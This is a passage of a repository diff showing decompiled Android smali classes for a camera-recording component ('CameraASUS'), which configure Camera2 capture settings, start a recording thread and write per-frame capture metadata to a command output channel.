.catch Ljava/lang/Exception; {:try_start_9 .. :try_end_9} :catch_9
goto :goto_9
:catch_9
move-exception v0
.line 267
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2$1;->this$1:Lcom/nvav/srv/recorder/CameraASUS$2;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:cond_3
:goto_9
return-void
.end method

View File

@@ -0,0 +1,490 @@
.class Lcom/nvav/srv/recorder/CameraASUS$2;
.super Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
.source "CameraASUS.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraASUS;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraASUS;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUS;)V
.locals 0
.line 167
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$StateCallback;-><init>()V
return-void
.end method
# virtual methods
.method public onActive(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 2
.line 292
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object p1
filled-new-array {p1}, [Ljava/lang/Object;
move-result-object p1
const-string v0, "time %d"
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
const-string v0, "CameraCaptureSession ac"
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
return-void
.end method
.method public onClosed(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 0
return-void
.end method
.method public onConfigureFailed(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 0
return-void
.end method
.method public onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 5
.line 171
:try_start_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
const/4 v1, 0x5
aget-object v0, v0, v1
invoke-static {v0}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
move-result-object v0
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
move-result v0
const/16 v2, 0x1e
if-le v0, v2, :cond_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
check-cast p1, Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraASUS;->access$102(Lcom/nvav/srv/recorder/CameraASUS;Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;)Landroid/hardware/camera2/CameraConstrainedHighSpeedCaptureSession;
goto :goto_0
.line 172
:cond_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraASUS;->access$202(Lcom/nvav/srv/recorder/CameraASUS;Landroid/hardware/camera2/CameraCaptureSession;)Landroid/hardware/camera2/CameraCaptureSession;
.line 173
:goto_0
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraASUS;->mCamera:Landroid/hardware/camera2/CameraDevice;
const/4 v2, 0x3
invoke-virtual {v0, v2}, Landroid/hardware/camera2/CameraDevice;->createCaptureRequest(I)Landroid/hardware/camera2/CaptureRequest$Builder;
move-result-object v0
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
.line 174
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraASUS;->access$000(Lcom/nvav/srv/recorder/CameraASUS;)Landroid/view/Surface;
move-result-object v0
invoke-virtual {p1, v0}, Landroid/hardware/camera2/CaptureRequest$Builder;->addTarget(Landroid/view/Surface;)V
.line 175
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_TARGET_FPS_RANGE:Landroid/hardware/camera2/CaptureRequest$Key;
new-instance v2, Landroid/util/Range;
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
const/4 v4, 0x4
aget-object v3, v3, v4
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v3
invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v3
iget-object v4, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v4, v4, Lcom/nvav/srv/recorder/CameraASUS;->CamResFPS:[Ljava/lang/String;
aget-object v1, v4, v1
invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v1
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-direct {v2, v3, v1}, Landroid/util/Range;-><init>(Ljava/lang/Comparable;Ljava/lang/Comparable;)V
invoke-virtual {p1, v0, v2}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 176
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraASUS;->access$300(Lcom/nvav/srv/recorder/CameraASUS;)V
.line 177
sget-boolean p1, Lcom/nvav/srv/recorder/CameraASUS;->Restarting:Z
if-eqz p1, :cond_1
.line 178
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->rect:Landroid/graphics/Rect;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 179
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->aec:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 180
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->cem:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 181
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 182
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->ss:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 183
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->sfd:Ljava/lang/Long;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 184
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->set:Ljava/lang/Long;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 185
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->cafm:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 186
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->caem:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 187
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->caft:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 188
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraASUS;->access$300(Lcom/nvav/srv/recorder/CameraASUS;)V
.line 191
:cond_1
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
new-instance v0, Lcom/nvav/srv/recorder/CameraASUS$2$1;
invoke-direct {v0, p0}, Lcom/nvav/srv/recorder/CameraASUS$2$1;-><init>(Lcom/nvav/srv/recorder/CameraASUS$2;)V
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingThread:Ljava/lang/Thread;
.line 273
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingThread:Ljava/lang/Thread;
invoke-virtual {p1}, Ljava/lang/Thread;->start()V
.line 275
sget-boolean p1, Lcom/nvav/srv/recorder/CameraASUS;->Restarting:Z
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_1
if-eqz p1, :cond_2
const-wide/16 v0, 0xfa
.line 277
:try_start_1
invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
:try_end_1
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0
goto :goto_1
:catch_0
move-exception p1
.line 279
:try_start_2
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 281
:goto_1
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->cafm:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 282
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->lfd:F
invoke-static {v1}, Ljava/lang/Float;->valueOf(F)Ljava/lang/Float;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
const/4 p1, 0x0
.line 283
sput-boolean p1, Lcom/nvav/srv/recorder/CameraASUS;->Restarting:Z
.line 284
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraASUS;->access$300(Lcom/nvav/srv/recorder/CameraASUS;)V
:try_end_2
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_1
goto :goto_2
:catch_1
move-exception p1
.line 287
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:cond_2
:goto_2
return-void
.end method
.method public onReady(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 2
.line 316
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object p1
filled-new-array {p1}, [Ljava/lang/Object;
move-result-object p1
const-string v0, "time %d"
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
const-string v0, "CameraCaptureSession re"
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
return-void
.end method

View File

@@ -0,0 +1,229 @@
.class Lcom/nvav/srv/recorder/CameraASUS$3;
.super Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;
.source "CameraASUS.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraASUS;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field FrameNumber:J
.field lat:D
.field lon:D
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraASUS;
.field time_out_param:J
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUS;)V
.locals 2
.line 323
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;-><init>()V
.line 324
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->time_out_param:J
const-wide/16 v0, 0x0
.line 325
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->lat:D
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->lon:D
const-wide/16 v0, 0x0
.line 326
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->FrameNumber:J
return-void
.end method
# virtual methods
.method public onCaptureCompleted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/TotalCaptureResult;)V
.locals 7
.line 347
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide p1
iget-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->time_out_param:J
sub-long/2addr p1, v0
const-wide/16 v0, 0xc8
cmp-long p1, p1, v0
if-lez p1, :cond_0
.line 348
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->lat:D
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
move-result-object v0
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->lon:D
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
move-result-object v1
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureResult$Key;
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v2
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureResult$Key;
.line 349
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object p1
check-cast p1, Ljava/lang/Long;
invoke-virtual {p1}, Ljava/lang/Long;->longValue()J
move-result-wide p1
const-wide/32 v3, 0x3b9aca00
div-long/2addr v3, p1
invoke-static {v3, v4}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object v3
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_APERTURE:Landroid/hardware/camera2/CaptureResult$Key;
.line 350
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v4
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureResult$Key;
.line 351
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v5
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureResult$Key;
.line 352
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v6
filled-new-array/range {v0 .. v6}, [Ljava/lang/Object;
move-result-object p1
.line 348
const-string p2, "%f;%f;%d;%d;%.2f;%f;%d"
invoke-static {p2, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
.line 353
iget-object p2, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
iget-object p2, p2, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {p1}, Ljava/lang/String;->length()I
move-result p3
add-int/lit8 p3, p3, 0x1
invoke-static {p3}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
move-result-object p3
const/16 v0, 0x4d
invoke-virtual {p3, v0}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
move-result-object p3
invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
move-result-object p1
invoke-virtual {p3, p1}, Ljava/nio/ByteBuffer;->put([B)Ljava/nio/ByteBuffer;
move-result-object p1
invoke-virtual {p1}, Ljava/nio/ByteBuffer;->array()[B
move-result-object p1
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
.line 354
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide p1
iput-wide p1, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->time_out_param:J
:cond_0
return-void
.end method
.method public onCaptureFailed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureFailure;)V
.locals 0
return-void
.end method
.method public onCaptureProgressed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureResult;)V
.locals 0
return-void
.end method
.method public onCaptureSequenceAborted(Landroid/hardware/camera2/CameraCaptureSession;I)V
.locals 0
return-void
.end method
.method public onCaptureSequenceCompleted(Landroid/hardware/camera2/CameraCaptureSession;IJ)V
.locals 0
return-void
.end method
.method public onCaptureStarted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;JJ)V
.locals 0
.line 429
iput-wide p5, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->FrameNumber:J
return-void
.end method

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,40 @@
.class public final synthetic Lcom/nvav/srv/recorder/CameraASUSn$$ExternalSyntheticLambda0;
.super Ljava/lang/Object;
.source "D8$$SyntheticClass"
# interfaces
.implements Ljava/util/function/Predicate;
# instance fields
.field public final synthetic f$0:Ljava/lang/String;
# direct methods
.method public synthetic constructor <init>(Ljava/lang/String;)V
.locals 0
.line 0
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
return-void
.end method
# virtual methods
.method public final test(Ljava/lang/Object;)Z
.locals 1
.line 0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
check-cast p1, Ljava/lang/String;
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraASUSn;->$r8$lambda$7lpm9zkoZuDoAjfOA0iYE2U94XQ(Ljava/lang/String;Ljava/lang/Object;)Z
move-result p1
return p1
.end method

View File

@@ -0,0 +1,488 @@
.class Lcom/nvav/srv/recorder/CameraASUSn$1;
.super Landroid/media/MediaCodec$Callback;
.source "CameraASUSn.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraASUSn;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraASUSn;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUSn;)V
.locals 0
.line 70
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
invoke-direct {p0}, Landroid/media/MediaCodec$Callback;-><init>()V
return-void
.end method
# virtual methods
.method public onError(Landroid/media/MediaCodec;Landroid/media/MediaCodec$CodecException;)V
.locals 0
.line 148
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string p2, "result=MediaCodecf onError."
